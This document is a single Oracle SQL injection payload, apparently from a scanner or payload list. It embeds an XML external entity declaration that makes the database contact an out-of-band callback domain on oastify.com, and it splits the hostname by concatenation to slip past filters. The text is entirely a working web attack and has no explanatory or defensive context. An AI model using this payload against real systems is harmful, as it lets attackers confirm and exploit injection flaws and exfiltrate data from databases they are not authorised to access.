(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % gwzla SYSTEM "http://x53p18x3lzqt444uxdl6l6r51w7pvspgs4krdf2.oasti'||'fy.com/">%gwzla;]>'),'/l') from dual)